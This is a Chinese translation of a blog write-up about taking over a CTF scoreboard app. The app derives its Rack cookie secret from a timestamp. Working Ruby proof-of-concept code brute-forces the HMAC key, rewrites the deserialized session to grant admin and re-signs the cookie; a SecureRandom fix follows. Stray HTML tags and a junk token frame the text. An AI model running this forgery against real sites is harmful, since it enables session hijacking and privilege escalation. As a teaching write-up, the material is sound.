<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/1419

    0x00 背景


    上周我參加了一個Bishop Fox和BYU大學舉辦的CTF比賽,在比賽過程中我決定嘗試一下入侵一下計分系統,并且我把入侵的過程記錄了下來。

    盡管客戶端的token欺騙已經不是什么新鮮事了,但是這次的入侵過程可以作為weak randomness漏洞的一個很好的練習。(這次攻擊目標所使用的框架并不是像Rails一樣常用的框架)

    最后說一句:這個漏洞是框架自己帶有的而不是Bishop Fox 或者是 BYU的問題。

    0x01 cookie運行原理


    在開始之前,我推薦你閱讀一下這篇博文,他會告送你一個基于ruby的webapps如何處理cookie。

    簡而言之,ruby會生成一個hash數值作為一個cookie存儲在用戶客戶端像這樣

    { 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  
    

    之后ruby分為三步把他存儲到客戶端

    (1)使用Marshal.dump對數據結構進行序列化  
    (2)使用base64編碼第一步得到的字符串  
    (3)計算message的HMAC(HMAC被用于message的完整性檢查,這是ruby的一種機制以防用戶篡改自己的cookie)  
    

    當以上三步做完之后,ruby會在頭文件中加入如下一段

    Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  
    

    實際的cookie是這樣

    Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  
    

    上述處理cookie的過程有一個漏洞,message中的信息可以被客戶端還原,只需要對它進行base64解碼和反序列化即可得到原始的ruby object

    ruby對于cookie信任的前提是,通過HMAC驗證message中的內容必須是有你代碼中設定的密鑰標記過的,只有這樣ruby才會把cookie當做一個有效地憑證。

    下圖就是上述過程簡要流程

    enter image description here

    如果你篡改了你的cookie,會導致HMAC驗證不通過,從而使你修改過的cookie值失效。

    0x02 簡介


    CTF的評分系統是一個Sinatra-based的webapp,它使用了一些基本的Rails機制,提供了一個計分板的效果。看一下代碼,還是比較簡潔的。

    這個webapp有一個有趣的現象就是,默認情況下代碼庫中沒有配置文件,配置文件是在程序運行過程中生成的,下面是創建配置文件的代碼。

    #!ruby
    begin
      require './config.rb'
    rescue Exception => e
      # create default config.rb
      open('./config.rb', "w+") {|f|
        f.puts <<-"EOS"
    COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
    ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
    STYLE_SHEET = "/style.css"
    HTML_TITLE = "scoreserver.rb CTF"
    EOS
        f.flush
      }
      require './config.rb'
    end
    

    值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1散列。這段代碼中所使用的Time.now.to_s就是我們所說的不健壯的隨機化種子。

    0x03 原理


    現在我們很容易知道,如果想要偽造cookie,就必須得到一個合法的HMAC字符串,只有得到它之后,我們才可以通過修改session-id來控制session。

    這個漏洞的根源是因為它使用了,弱隨機化種子,在上文的代碼中,SHA1-hashing 加密了一個秒級別的精度的字符串,這樣我們就可以使用暴力的方法嘗試一天之內秒數只需要60 x 60 x 24次嘗試。

    而且我們并不需要把每次的嘗試結果提交到web服務器,只需要在本地計算出正確的key,然后再通過它構造出正確的HMAC提交即可。

    0x04 POC


    為了確定一下我們是否可以破解HMAC,我們可以試一下。

    首先,我們從webapp得到cookie和HMAC。如果你想自己測試,copy以下代碼運行即可。

    #!ruby
    require 'faraday'
    
    connection = Faraday.new(:url => 'http://localhost:4567')
    response = connection.get '/'
    cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
    

    現在我們只需要不斷的獲取Time.now和創建HMACs直到匹配為止。我們通過一個循環依次減小時間,直到找到正確的時間使得SHA1散列匹配而得到session key。

    #!ruby
    require 'digest/sha1'
    require 'openssl'
    
    def create_hmac message, key
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
    end
    
    seed = Time.now
    
    while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
        seed -= 1
    end
    
    key = Digest::SHA1.hexdigest(seed.to_s)
    

    這樣我們就可以成功破解key了,這個key可以幫助我們創建合法的HMAC。

    0x05 利用


    得到了key,我們就可以找一下源代碼中有什么能讓我們提升權限的地方。

    首先,代碼會對cookie進行反序列化。

    #!ruby
    params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
    

    這樣修改之后,我們就可以賦予自己管理員權限。

    #!ruby
    params.merge!({ 'admin' => true })
    

    通過上述語句重建cookie

    #!ruby
    bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
    bad_hmac = create_hmac(bad_cookie, key)
    header = "rack.session=#{bad_cookie}--#{bad_hmac};"
    

    只要把上面得到的cookie內容,加到header里面就可以獲取管理員權限了。

    到達這一步只要查看源代碼就可以很輕易地獲取到每一題的答案了。

    0x06 防御方法


    我在github上提交了一個修改版本,其中使用這句代替了cookie secret key的生成

    Digest::SHA1.hexdigest(Time.now.to_s)  
    

    使用SecureRandom庫生成隨機數

    SecureRandom.hex(20)  
    

    這會生成一個40個字符的隨機字符串

    0x07 結論


    這篇文章雖然在技術上沒有什么實質性突破,但是作為一個弱隨機漏洞的例子還是很不錯的,希望在思路上可以啟發到各位。

    from:http://blog.tjll.net/weak-random-seed-rack-exploit/

    97av